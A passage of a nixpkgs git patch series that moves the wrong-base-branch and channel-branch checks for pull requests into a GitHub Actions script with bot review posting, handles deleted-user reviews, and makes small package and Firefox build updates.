-          ...context.repo,
-          pull_number,
-          event: 'REQUEST_CHANGES',
-          body,
-        })
-      }
-    }
+    // Posting a review could fail for very long comments. This can only happen with
+    // multiple commits all hitting the truncation limit for the diff. If you ever hit
+    // this case, consider just splitting up those commits into multiple PRs.
+    await postReview({ github, context, core, dry, body })
   })
 }
diff --git a/ci/github-script/reviews.js b/ci/github-script/reviews.js
new file mode 100644
index 000000000000..107ec3975c98
--- /dev/null
+++ b/ci/github-script/reviews.js
@@ -0,0 +1,85 @@
+async function dismissReviews({ github, context, dry }) {
+  const pull_number = context.payload.pull_request.number
+
+  if (dry) {
+    return
+  }
+
+  await Promise.all(
+    (
+      await github.paginate(github.rest.pulls.listReviews, {
+        ...context.repo,
+        pull_number,
+      })
+    )
+      .filter((review) => review.user.login === 'github-actions[bot]')
+      .map(async (review) => {
+        if (review.state === 'CHANGES_REQUESTED') {
+          await github.rest.pulls.dismissReview({
+            ...context.repo,
+            pull_number,
+            review_id: review.id,
+            message: 'All good now, thank you!',
+          })
+        }
+        await github.graphql(
+          `mutation($node_id:ID!) {
+            minimizeComment(input: {
+              classifier: RESOLVED,
+              subjectId: $node_id
+            })
+            { clientMutationId }
+          }`,
+          { node_id: review.node_id },
+        )
+      }),
+  )
+}
+
+async function postReview({ github, context, core, dry, body }) {
+  const pull_number = context.payload.pull_request.number
+
+  const pendingReview = (
+    await github.paginate(github.rest.pulls.listReviews, {
+      ...context.repo,
+      pull_number,
+    })
+  ).find(
+    (review) =>
+      review.user.login === 'github-actions[bot]' &&
+      // If a review is still pending, we can just update this instead
+      // of posting a new one.
+      (review.state === 'CHANGES_REQUESTED' ||
+        // No need to post a new review, if an older one with the exact
+        // same content had already been dismissed.
+        review.body === body),
+  )
+
+  if (dry) {
+    if (pendingReview)
+      core.info(`pending review found: ${pendingReview.html_url}`)
+    else core.info('no pending review found')
+    core.info(body)
+  } else {
+    if (pendingReview) {
+      await github.rest.pulls.updateReview({
+        ...context.repo,
+        pull_number,
+        review_id: pendingReview.id,
+        body,
+      })
+    } else {
+      await github.rest.pulls.createReview({
+        ...context.repo,
+        pull_number,
+        event: 'REQUEST_CHANGES',
+        body,
+      })
+    }
+  }
+}
+
+module.exports = {
+  dismissReviews,
+  postReview,
+}

From 8353c8c10eb2c0ef16f94a664dbb7d7b0399f578 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 21 Aug 2025 16:46:15 +0200
Subject: [PATCH 3920/4511] ci/github-script/prepare: avoid running CI when
 targeting channel branches

This moves the no-channel-base check into the prepare script to exit
early and prevent all of CI to run against those branches. We also
provide better output by posting a "Changes Requested" review, using the
existing infrastructure from the old cherry-picks check.

The review will be dismissed automatically once the branch has been
corrected, because the commits check will run and do it.

(cherry picked from commit 0601cf6fd0868b31429d3e1c90781fbba8b2b0c2)
---
 .github/workflows/check.yml | 14 -------------
 .github/workflows/pr.yml    |  4 ++++
 ci/github-script/prepare.js | 41 +++++++++++++++++++++++++------------
 ci/supportedBranches.js     |  1 +
 4 files changed, 33 insertions(+), 27 deletions(-)

diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 662796e47ef3..e8fe7c3717dc 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -31,20 +31,6 @@ defaults:
     shell: bash
 
 jobs:
-  no-channel-base:
-    name: no channel base
-    if: contains(fromJSON(inputs.baseBranch).type, 'channel')
-    runs-on: ubuntu-24.04-arm
-    steps:
-      - run: |
-          cat <<EOF
-          The nixos-* and nixpkgs-* branches are pushed to by the channel
-          release script and should not be merged into directly.
-
-          Please target the equivalent release-* branch or master instead.
-          EOF
-          exit 1
-
   commits:
     permissions:
       pull-requests: write
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 81f0f1d0f507..2ab850094e33 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -23,6 +23,9 @@ permissions: {}
 jobs:
   prepare:
     runs-on: ubuntu-24.04-arm
+    permissions:
+      # wrong branch review comment
+      pull-requests: write
     outputs:
       baseBranch: ${{ steps.prepare.outputs.base }}
       headBranch: ${{ steps.prepare.outputs.head }}
@@ -44,6 +47,7 @@ jobs:
               github,
               context,
               core,
+              dry: context.eventName == 'pull_request',
             })
 
   check:
diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index 0fcec880f376..3df1bfa116e5 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -1,6 +1,7 @@
 const { classify } = require('../supportedBranches.js')
+const { postReview } = require('./reviews.js')
 
-module.exports = async ({ github, context, core }) => {
+module.exports = async ({ github, context, core, dry }) => {
   const pull_number = context.payload.pull_request.number
 
   for (const retryInterval of [5, 10, 20, 40, 80]) {
@@ -24,6 +25,32 @@ module.exports = async ({ github, context, core }) => {
 
     const { base, head } = prInfo
 
+    const baseClassification = classify(base.ref)
+    core.setOutput('base', baseClassification)
+    console.log('base classification:', baseClassification)
+
+    const headClassification =
+      base.repo.full_name === head.repo.full_name
+        ? classify(head.ref)
+        : // PRs from forks are always considered WIP.
+          { type: ['wip'] }
+    core.setOutput('head', headClassification)
+    console.log('head classification:', headClassification)
+
+    if (baseClassification.type.includes('channel')) {
+      const { stable, version } = baseClassification
+      const correctBranch = stable ? `release-${version}` : 'master'
+      const body = [
+        'The `nixos-*` and `nixpkgs-*` branches are pushed to by the channel release script and should not be merged into directly.',
+        '',
+        `Please target \`${correctBranch}\` instead.`,
+      ].join('\n')
+
+      await postReview({ github, context, core, dry, body })
+
+      throw new Error('The PR targets a channel branch.')
+    }
+
     let mergedSha, targetSha
 
     if (prInfo.mergeable) {
@@ -56,18 +83,6 @@ module.exports = async ({ github, context, core }) => {
 
     core.setOutput('systems', require('../supportedSystems.json'))
 
-    const baseClassification = classify(base.ref)
-    core.setOutput('base', baseClassification)
-    console.log('base classification:', baseClassification)
-
-    const headClassification =
-      base.repo.full_name === head.repo.full_name
-        ? classify(head.ref)
-        : // PRs from forks are always considered WIP.
-          { type: ['wip'] }
-    core.setOutput('head', headClassification)
-    console.log('head classification:', headClassification)
-
     const files = (
       await github.paginate(github.rest.pulls.listFiles, {
         ...context.repo,
diff --git a/ci/supportedBranches.js b/ci/supportedBranches.js
index fd7dcc9144f3..8cc630afce21 100755
--- a/ci/supportedBranches.js
+++ b/ci/supportedBranches.js
@@ -26,6 +26,7 @@ function classify(branch) {
   return {
     stable: (version ?? 'unstable') !== 'unstable',
     type: typeConfig[prefix] ?? ['wip'],
+    version: version ?? 'unstable',
   }
 }
 

From 91c088d3b735b25138a903e2585deca14b8cb429 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 16 Aug 2025 20:56:17 +0200
Subject: [PATCH 3921/4511] ci/github-script/prepare: identify real base branch

When a contributor mistakenly sets the wrong target branch for a Pull
Request, this can lead to bad consequences for CI. Most prominent is the
mass ping of codeowners, that is already handled in
`ci/request-reviews/verify-base-branch.sh`. But there are other things
that go wrong:
- After eval, a mass ping of maintainers would still be possible, in
theory. Practically, this doesn't happen, because we have a limit of 10
reviewer requests at the same time.
- This will most often contain a change to `ci/pinned.json`, thus the
full Eval matrix of all Lix/Nix versions will be run, burning a lot of
resources.
- The PR will be labelled with almost all labels that are available.

We can improve on the current situation with some API calls to determine
the "best" merge-base for the current PR. We then consider this as the
"real base". If the current target is not the real base, we fail the
prepare step, which is early enough to prevent all other CI from
running.

(cherry picked from commit 87d9b08ffbb7d91109c159900809097d7e401524)
---
 .github/workflows/push.yml                    |   1 -
 ci/github-script/prepare.js                   | 130 +++++++++++++++++-
 ci/github-script/run                          |   5 +-
 ci/request-reviews/default.nix                |   3 -
 ci/request-reviews/dev-branches.txt           |   8 --
 .../request-code-owner-reviews.sh             |  24 +---
 ci/request-reviews/verify-base-branch.sh      | 104 --------------
 ci/supportedBranches.js                       |  14 ++
 8 files changed, 147 insertions(+), 142 deletions(-)
 delete mode 100644 ci/request-reviews/dev-branches.txt
 delete mode 100755 ci/request-reviews/verify-base-branch.sh

diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
index 31d3932e2cd4..d76b7f3867bd 100644
--- a/.github/workflows/push.yml
+++ b/.github/workflows/push.yml
@@ -2,7 +2,6 @@ name: Push
 
 on:
   push:
-    # Keep this synced with ci/request-reviews/dev-branches.txt
     branches:
       - master
       - staging
diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
index 3df1bfa116e5..e66a774e981c 100644
--- a/ci/github-script/prepare.js
+++ b/ci/github-script/prepare.js
@@ -51,6 +51,134 @@ module.exports = async ({ github, context, core, dry }) => {
       throw new Error('The PR targets a channel branch.')
     }
 
+    if (headClassification.type.includes('wip')) {
+      // In the following, we look at the git history to determine the base branch that
+      // this Pull Request branched off of. This is *supposed* to be the branch that it
+      // merges into, but humans make mistakes. Once that happens we want to error out as
+      // early as possible.
+
+      // To determine the "real base", we are looking at the merge-base of primary development
+      // branches and the head of the PR. The merge-base which results in the least number of
+      // commits between that base and head is the real base. We can query for this via GitHub's
+      // REST API. There can be multiple candidates for the real base with the same number of
+      // commits. In this case we pick the "best" candidate by a fixed ordering of branches,
+      // as defined in ci/supportedBranches.js.
+      //
+      // These requests take a while, when comparing against the wrong release - they need
+      // to look at way more than 10k commits in that case. Thus, we try to minimize the
+      // number of requests across releases:
+      // - First, we look at the primary development branches only: master and release-xx.yy.
+      //   The branch with the fewest commits gives us the release this PR belongs to.
+      // - We then compare this number against the relevant staging branches for this release
+      //   to find the exact branch that this belongs to.
+
+      // All potential development branches
+      const branches = (
+        await github.paginate(github.rest.repos.listBranches, {
+          ...context.repo,
+          per_page: 100,
+        })
+      ).map(({ name }) => classify(name))
+
+      // All stable primary development branches from latest to oldest.
+      const releases = branches
+        .filter(({ stable, type }) => type.includes('primary') && stable)
+        .sort((a, b) => b.version.localeCompare(a.version))
+
+      async function mergeBase({ branch, order, version }) {
+        const { data } = await github.rest.repos.compareCommitsWithBasehead({
+          ...context.repo,
+          basehead: `${branch}...${head.sha}`,
+          // Pagination for this endpoint is about the commits listed, which we don't care about.
+          per_page: 1,
+          // Taking the second page skips the list of files of this changeset.
+          page: 2,
+        })
+        return {
+          branch,
+          order,
+          version,
+          commits: data.total_commits,
+          sha: data.merge_base_commit.sha,
+        }
+      }
+
+      // Multiple branches can be OK at the same time, if the PR was created of a merge-base,
+      // thus storing as array.
+      let candidates = [await mergeBase(classify('master'))]
+      for (const release of releases) {
+        const nextCandidate = await mergeBase(release)
+        if (candidates[0].commits === nextCandidate.commits)
+          candidates.push(nextCandidate)
+        if (candidates[0].commits > nextCandidate.commits)
+          candidates = [nextCandidate]
+        // The number 10000 is principally arbitrary, but the GitHub API returns this value
+        // when the number of commits exceeds it in reality. The difference between two stable releases
+        // is certainly more than 10k commits, thus this works for us as well: If we're targeting
+        // a wrong release, the number *will* be 10000.
+        if (candidates[0].commits < 10000) break
+      }
+
+      core.info(`This PR is for NixOS ${candidates[0].version}.`)
+
+      // Secondary development branches for the selected version only.
+      const secondary = branches.filter(
+        ({ branch, type, version }) =>
+          type.includes('secondary') && version === candidates[0].version,
+      )
+
+      // Make sure that we always check the current target as well, even if its a WIP branch.
+      // If it's not a WIP branch, it was already included in either releases or secondary.
+      if (classify(base.ref).type.includes('wip')) {
+        secondary.push(classify(base.ref))
+      }
+
+      for (const branch of secondary) {
+        const nextCandidate = await mergeBase(branch)
+        if (candidates[0].commits === nextCandidate.commits)
+          candidates.push(nextCandidate)
+        if (candidates[0].commits > nextCandidate.commits)
+          candidates = [nextCandidate]
+      }
+
+      // If the current branch is among the candidates, this is always better than any other,
+      // thus sorting at -1.
+      candidates = candidates
+        .map((candidate) =>
+          candidate.branch === base.ref
+            ? { ...candidate, order: -1 }
+            : candidate,
+        )
+        .sort((a, b) => a.order - b.order)
+
+      const best = candidates.at(0)
+
+      core.info('The base branches for this PR are:')
+      core.info(`github: ${base.ref}`)
+      core.info(
+        `candidates: ${candidates.map(({ branch }) => branch).join(',')}`,
+      )
+      core.info(`best candidate: ${best.branch}`)
+
+      if (best.branch !== base.ref) {
+        const current = await mergeBase(classify(base.ref))
+        const body = [
+          `The PR's base branch is set to \`${current.branch}\`, but ${current.commits === 10000 ? 'at least 10000' : current.commits - best.commits} commits from the \`${best.branch}\` branch are included. Make sure you know the [right base branch for your changes](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#branch-conventions), then:`,
+          `- If the changes should go to the \`${best.branch}\` branch, [change the base branch](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request).`,
+          `- If the changes should go to the \`${current.branch}\` branch, rebase your PR onto the correct merge-base:`,
+          '  ```bash',
+          `  # git rebase --onto $(git merge-base upstream/${current.branch} HEAD) $(git merge-base upstream/${best.branch} HEAD)`,
+          `  git rebase --onto ${current.sha} ${best.sha}`,
+          `  git push --force-with-lease`,
+          '  ```',
+        ].join('\n')
+
+        await postReview({ github, context, core, dry, body })
+
+        throw new Error(`The PR contains commits from a different base.`)
+      }
+    }
+
     let mergedSha, targetSha
 
     if (prInfo.mergeable) {
@@ -66,7 +194,7 @@ module.exports = async ({ github, context, core, dry }) => {
     } else {
       core.warning('The PR has a merge conflict.')
 
-      mergedSha = prInfo.head.sha
+      mergedSha = head.sha
       targetSha = (
         await github.rest.repos.compareCommitsWithBasehead({
           ...context.repo,
diff --git a/ci/github-script/run b/ci/github-script/run
index 17dac5ab3a2d..eeaee253ef42 100755
--- a/ci/github-script/run
+++ b/ci/github-script/run
@@ -46,9 +46,10 @@ program
   .argument('<owner>', 'Owner of the GitHub repository to check (Example: NixOS)')
   .argument('<repo>', 'Name of the GitHub repository to check (Example: nixpkgs)')
   .argument('<pr>', 'Number of the Pull Request to check')
-  .action(async (owner, repo, pr) => {
+  .option('--no-dry', 'Make actual modifications')
+  .action(async (owner, repo, pr, options) => {
     const prepare = (await import('./prepare.js')).default
-    run(prepare, owner, repo, pr)
+    run(prepare, owner, repo, pr, options)
   })
 
 program
diff --git a/ci/request-reviews/default.nix b/ci/request-reviews/default.nix
index b180d60be97c..075ff52fd564 100644
--- a/ci/request-reviews/default.nix
+++ b/ci/request-reviews/default.nix
@@ -17,15 +17,12 @@ stdenvNoCC.mkDerivation {
       ./get-code-owners.sh
       ./request-reviewers.sh
       ./request-code-owner-reviews.sh
-      ./verify-base-branch.sh
-      ./dev-branches.txt
     ];
   };
   nativeBuildInputs = [ makeWrapper ];
   dontBuild = true;
   installPhase = ''
     mkdir -p $out/bin
-    mv dev-branches.txt $out/bin
     for bin in *.sh; do
       mv "$bin" "$out/bin"
       wrapProgram "$out/bin/$bin" \
diff --git a/ci/request-reviews/dev-branches.txt b/ci/request-reviews/dev-branches.txt
deleted file mode 100644
index b34092546f18..000000000000
--- a/ci/request-reviews/dev-branches.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-# Trusted development branches:
-# These generally require PRs to update and are built by Hydra.
-# Keep this synced with the branches in .github/workflows/eval.yml
-master
-staging
-release-*
-staging-*
-haskell-updates
diff --git a/ci/request-reviews/request-code-owner-reviews.sh b/ci/request-reviews/request-code-owner-reviews.sh
index fefc8c3be3fa..663285ae03fe 100755
--- a/ci/request-reviews/request-code-owner-reviews.sh
+++ b/ci/request-reviews/request-code-owner-reviews.sh
@@ -1,6 +1,6 @@
 #!/usr/bin/env bash
 
-# Requests reviews for a PR after verifying that the base branch is correct
+# Requests reviews for a PR
 
 set -euo pipefail
 tmp=$(mktemp -d)
@@ -11,14 +11,6 @@ log() {
     echo "$@" >&2
 }
 
-effect() {
-    if [[ -n "${DRY_MODE:-}" ]]; then
-        log "Skipping in dry mode:" "${@@Q}"
-    else
-        "$@"
-    fi
-}
-
 if (( $# < 3 )); then
     log "Usage: $0 GITHUB_REPO PR_NUMBER OWNERS_FILE"
     exit 1
@@ -63,20 +55,6 @@ git -C "$tmp/nixpkgs.git" config remote.fork.promisor true
 git -C "$tmp/nixpkgs.git" fetch --no-tags fork "$prBranch"
 headRef=$(git -C "$tmp/nixpkgs.git" rev-parse refs/remotes/fork/"$prBranch")
 
-log "Checking correctness of the base branch"
-if ! "$SCRIPT_DIR"/verify-base-branch.sh "$tmp/nixpkgs.git" "$headRef" "$baseRepo" "$baseBranch" "$prRepo" "$prBranch" | tee "$tmp/invalid-base-error" >&2; then
-    log "Posting error as comment"
-    if ! response=$(effect gh api \
-        --method POST \
-        -H "Accept: application/vnd.github+json" \
-        -H "X-GitHub-Api-Version: 2022-11-28" \
-        "/repos/$baseRepo/issues/$prNumber/comments" \
-        -F "body=@$tmp/invalid-base-error"); then
-        log "Failed to post the comment: $response"
-    fi
-    exit 1
-fi
-
 log "Requesting reviews from code owners"
 "$SCRIPT_DIR"/get-code-owners.sh "$tmp/nixpkgs.git" "$ownersFile" "$baseBranch" "$headRef" | \
     "$SCRIPT_DIR"/request-reviewers.sh "$baseRepo" "$prNumber" "$prAuthor"
diff --git a/ci/request-reviews/verify-base-branch.sh b/ci/request-reviews/verify-base-branch.sh
deleted file mode 100755
index 7be280db8d65..000000000000
--- a/ci/request-reviews/verify-base-branch.sh
+++ /dev/null
@@ -1,104 +0,0 @@
-#!/usr/bin/env bash
-
-# Check that a PR doesn't include commits from other development branches.
-# Fails with next steps if it does
-
-set -euo pipefail
-tmp=$(mktemp -d)
-trap 'rm -rf "$tmp"' exit
-SCRIPT_DIR=$(dirname "$0")
-
-log() {
-    echo "$@" >&2
-}
-
-# Small helper to check whether an element is in a list
-# Usage: `elementIn foo "${list[@]}"`
-elementIn() {
-    local e match=$1
-    shift
-    for e; do
-        if [[ "$e" == "$match" ]]; then
-            return 0
-        fi
-    done
-    return 1
-}
-
-if (( $# < 6 )); then
-    log "Usage: $0 LOCAL_REPO HEAD_REF BASE_REPO BASE_BRANCH PR_REPO PR_BRANCH"
-    exit 1
-fi
-localRepo=$1
-headRef=$2
-baseRepo=$3
-baseBranch=$4
-prRepo=$5
-prBranch=$6
-
-# All development branches
-devBranchPatterns=()
-while read -r pattern; do
-    if [[ "$pattern" != '#'* ]]; then
-        devBranchPatterns+=("$pattern")
-    fi
-done < "$SCRIPT_DIR/dev-branches.txt"
-
-git -C "$localRepo" branch --list --format "%(refname:short)" "${devBranchPatterns[@]}" > "$tmp/dev-branches"
-readarray -t devBranches < "$tmp/dev-branches"
-
-if [[ "$baseRepo" == "$prRepo" ]] && elementIn "$prBranch" "${devBranches[@]}"; then
-    log "This PR merges $prBranch into $baseBranch, no commit check necessary"
-    exit 0
-fi
-
-# The current merge base of the PR
-prMergeBase=$(git -C "$localRepo" merge-base "$baseBranch" "$headRef")
-log "The PR's merge base with the base branch $baseBranch is $prMergeBase"
-
-# This is purely for debugging
-git -C "$localRepo" rev-list --reverse "$baseBranch".."$headRef" > "$tmp/pr-commits"
-log "The PR includes these $(wc -l < "$tmp/pr-commits") commits:"
-cat <"$tmp/pr-commits" >&2
-
-for testBranch in "${devBranches[@]}"; do
-
-    if [[ -z "$(git -C "$localRepo" rev-list -1 --since="1 month ago" "$testBranch")" ]]; then
-        log "Not checking $testBranch, was inactive for the last month"
-        continue
-    fi
-    log "Checking if commits from $testBranch are included in the PR"
-
-    # We need to check for any commits that are in the PR which are also in the test branch.
-    # We could check each commit from the PR individually, but that's unnecessarily slow.
-    #
-    # This does _almost_ what we want: `git rev-list --count headRef testBranch ^baseBranch`,
-    # except that it includes commits that are reachable from _either_ headRef or testBranch,
-    # instead of restricting it to ones reachable by both
-
-    # Easily fixable though, because we can use `git merge-base testBranch headRef`
-    # to get the least common ancestor (aka merge base) commit reachable by both.
-    # If the branch being tested is indeed the right base branch,
-    # this is then also the commit from that branch that the PR is based on top of.
-    testMergeBase=$(git -C "$localRepo" merge-base "$testBranch" "$headRef")
-
-    # And then use the `git rev-list --count`, but replacing the non-working
-    # `headRef testBranch` with the merge base of the two.
-    extraCommits=$(git -C "$localRepo" rev-list --count "$testMergeBase" ^"$baseBranch")
-
-    if (( extraCommits != 0 )); then
-        log -e "\e[33m"
-        echo "The PR's base branch is set to $baseBranch, but $extraCommits commits from the $testBranch branch are included. Make sure you know the [right base branch for your changes](https://github.com/NixOS/nixpkgs/blob/master/CONTRIBUTING.md#branch-conventions), then:"
-        echo "- If the changes should go to the $testBranch branch, [change the base branch](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request) to $testBranch"
-        echo "- If the changes should go to the $baseBranch branch, rebase your PR onto the merge base with the $baseBranch branch:"
-        echo "  \`\`\`bash"
-        echo "  # git rebase --onto \$(git merge-base upstream/$baseBranch HEAD) \$(git merge-base upstream/$testBranch HEAD)"
-        echo "  git rebase --onto $prMergeBase $testMergeBase"
-        echo "  git push --force-with-lease"
-        echo "  \`\`\`"
-        log -e "\e[m"
-        exit 1
-    fi
-done
-
-log "Base branch is correct, no commits from development branches are included"
diff --git a/ci/supportedBranches.js b/ci/supportedBranches.js
index 8cc630afce21..5bce128e52ff 100755
--- a/ci/supportedBranches.js
+++ b/ci/supportedBranches.js
@@ -13,6 +13,16 @@ const typeConfig = {
   nixpkgs: ['channel'],
 }
 
+// "order" ranks the development branches by how likely they are the intended base branch
+// when they are an otherwise equally good fit according to ci/github-script/prepare.js.
+const orderConfig = {
+  master: 0,
+  release: 1,
+  staging: 2,
+  'haskell-updates': 3,
+  'staging-next': 4,
+}
+
 function split(branch) {
   return {
     ...branch.match(
@@ -24,6 +34,8 @@ function split(branch) {
 function classify(branch) {
   const { prefix, version } = split(branch)
   return {
+    branch,
+    order: orderConfig[prefix] ?? Infinity,
     stable: (version ?? 'unstable') !== 'unstable',
     type: typeConfig[prefix] ?? ['wip'],
     version: version ?? 'unstable',
@@ -40,6 +52,7 @@ if (!module.parent) {
   }
   testSplit('master')
   testSplit('release-25.05')
+  testSplit('staging')
   testSplit('staging-next')
   testSplit('staging-25.05')
   testSplit('staging-next-25.05')
@@ -56,6 +69,7 @@ if (!module.parent) {
   }
   testClassify('master')
   testClassify('release-25.05')
+  testClassify('staging')
   testClassify('staging-next')
   testClassify('staging-25.05')
   testClassify('staging-next-25.05')

From a900b9fe9ec758b0c68351c9f27a72d6534e6a61 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 25 Aug 2025 06:15:13 +0000
Subject: [PATCH 3922/4511] python3Packages.rchitect: 0.4.7 -> 0.4.8

(cherry picked from commit 53b0ca8a7c3a5173baf433c48dfe28bdf22da595)
---
 pkgs/development/python-modules/rchitect/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/rchitect/default.nix b/pkgs/development/python-modules/rchitect/default.nix
index 6d3923c982da..f373332c1053 100644
--- a/pkgs/development/python-modules/rchitect/default.nix
+++ b/pkgs/development/python-modules/rchitect/default.nix
@@ -16,7 +16,7 @@
 
 buildPythonPackage rec {
   pname = "rchitect";
-  version = "0.4.7";
+  version = "0.4.8";
   pyproject = true;
 
   disabled = pythonOlder "3.9";
@@ -25,7 +25,7 @@ buildPythonPackage rec {
     owner = "randy3k";
     repo = pname;
     tag = "v${version}";
-    hash = "sha256-M7OWDo3mEEOYtjIpzPIpzPMBtv2TZJKJkSfHczZYS8Y=";
+    hash = "sha256-R1Zr0M6NQw+8MYHSm8ll5oe/P1Q/apO4xnWdWVFTgWQ=";
   };
 
   postPatch = ''

From ee1e86a5b4d458791b8aa527b5d8c52992cd440a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 25 Aug 2025 15:17:01 +0200
Subject: [PATCH 3923/4511] ci,workflows: deal with ghost reviews

When a user deletes their account, they appear as a "ghost user". This
user is represented as `null` on API requests. If such a user had posted
a review before, this breaks a few places, which assume to be able to
access `user.login`.

(cherry picked from commit 41ae23c0e7bc34853d2e9b8be63b0c599174259c)
---
 .github/workflows/dismissed-review.yml | 2 +-
 ci/github-script/reviews.js            | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/dismissed-review.yml b/.github/workflows/dismissed-review.yml
index 1d99c1c9cf06..224ea0af7249 100644
--- a/.github/workflows/dismissed-review.yml
+++ b/.github/workflows/dismissed-review.yml
@@ -49,7 +49,7 @@ jobs:
                     repo: context.repo.repo,
                     pull_number: pull_request.number
                   })).filter(review =>
-                    review.user.login == 'github-actions[bot]' &&
+                    review.user?.login == 'github-actions[bot]' &&
                     review.state == 'DISMISSED'
                   ).map(review => github.graphql(`
                     mutation($node_id:ID!) {
diff --git a/ci/github-script/reviews.js b/ci/github-script/reviews.js
index 107ec3975c98..f10f141d84cb 100644
--- a/ci/github-script/reviews.js
+++ b/ci/github-script/reviews.js
@@ -12,7 +12,7 @@ async function dismissReviews({ github, context, dry }) {
         pull_number,
       })
     )
-      .filter((review) => review.user.login === 'github-actions[bot]')
+      .filter((review) => review.user?.login === 'github-actions[bot]')
       .map(async (review) => {
         if (review.state === 'CHANGES_REQUESTED') {
           await github.rest.pulls.dismissReview({
@@ -46,7 +46,7 @@ async function postReview({ github, context, core, dry, body }) {
     })
   ).find(
     (review) =>
-      review.user.login === 'github-actions[bot]' &&
+      review.user?.login === 'github-actions[bot]' &&
       // If a review is still pending, we can just update this instead
       // of posting a new one.
       (review.state === 'CHANGES_REQUESTED' ||

From 6a2c975c57b06426e58dcfae9cf24ed680d9dff7 Mon Sep 17 00:00:00 2001
From: dish <pyrox@pyrox.dev>
Date: Sun, 24 Aug 2025 10:59:22 -0400
Subject: [PATCH 3924/4511] python3Packages.pyexcel-xls: fix build

Removes a patch that is applied in 0.7.1

(cherry picked from commit 88670a3166d12740c3b91d2635a4ffc67eee8eb4)
---
 .../python-modules/pyexcel-xls/default.nix            | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/pkgs/development/python-modules/pyexcel-xls/default.nix b/pkgs/development/python-modules/pyexcel-xls/default.nix
index 81bcc8ade772..aae42cfeabf7 100644
--- a/pkgs/development/python-modules/pyexcel-xls/default.nix
+++ b/pkgs/development/python-modules/pyexcel-xls/default.nix
@@ -2,7 +2,6 @@
   lib,
   buildPythonPackage,
   fetchFromGitHub,
-  fetchpatch2,
   pyexcel-io,
   xlrd,
   xlwt,
@@ -24,16 +23,6 @@ buildPythonPackage rec {
     hash = "sha256-wxsx/LfeBxi+NnHxfxk3svzsBcdwOiLQ1660eoHfmLg=";
   };
 
-  patches = [
-    # https://github.com/pyexcel/pyexcel-xls/pull/54
-    (fetchpatch2 {
-      name = "nose-to-pytest.patch";
-      url = "https://github.com/pyexcel/pyexcel-xls/compare/d8953c8ff7dc9a4a3465f2cfc182acafa49f6ea2...9f0d48035114f73077dd0f109395af32b4d9d48b.patch";
-      hash = "sha256-2kVdN+kEYaJjXGzv9eudfKjRweMG0grTd5wnZXIDzUU=";
-      excludes = [ ".github/*" ];
-    })
-  ];
-
   build-system = [ setuptools ];
 
   dependencies = [

From dd16501a1d56e61940d817d0f928f7a480550ba7 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 24 Aug 2025 21:43:22 +0200
Subject: [PATCH 3925/4511] buildMozillaMach: use system onnxruntime

Fixes: #432724
(cherry picked from commit 56c661622ff0a692a293b9082f9bb74f34d3870e)
---
 pkgs/build-support/build-mozilla-mach/default.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index 75e94c5ccfd8..ad0f61192908 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -90,6 +90,7 @@ in
   nspr,
   nss_esr,
   nss_latest,
+  onnxruntime,
   pango,
   xorg,
   zip,
@@ -510,6 +511,9 @@ buildStdenv.mkDerivation {
     (enableFeature pulseaudioSupport "pulseaudio")
     (enableFeature sndioSupport "sndio")
   ]
+  ++ lib.optionals (!buildStdenv.hostPlatform.isDarwin && lib.versionAtLeast version "141") [
+    "--with-onnx-runtime=${lib.getLib onnxruntime}/lib"
+  ]
   ++ [
     (enableFeature crashreporterSupport "crashreporter")
     (enableFeature ffmpegSupport "ffmpeg")

From e75aa99362651e43ea7086a6b6a2bb45ed8fa25b Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 24 Aug 2025 21:46:13 +0200
Subject: [PATCH 3926/4511] buildMozillaMach: use cheap tar archive for
 packaging during profiling

By default Firefox wants to use xz -9 --extreme here, which costs us
a not so insigificant number of minutes leading up to profiling.

(cherry picked from commit 9aa5a393f17415b1ee636081128a492ca1cc4baa)
---
 pkgs/build-support/build-mozilla-mach/default.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index ad0f61192908..10304f4819d5 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -599,6 +599,9 @@ buildStdenv.mkDerivation {
   ++ extraBuildInputs;
 
   profilingPhase = lib.optionalString pgoSupport ''
+    # Avoid compressing the instrumented build with high levels of compression
+    export MOZ_PKG_FORMAT=tar
+
     # Package up Firefox for profiling
     ./mach package
 

From f33d889bd7b7950110da6eb87faea8f1190311a9 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 25 Aug 2025 05:06:06 +0200
Subject: [PATCH 3927/4511] buildMozillaMach: prune obsolete patches

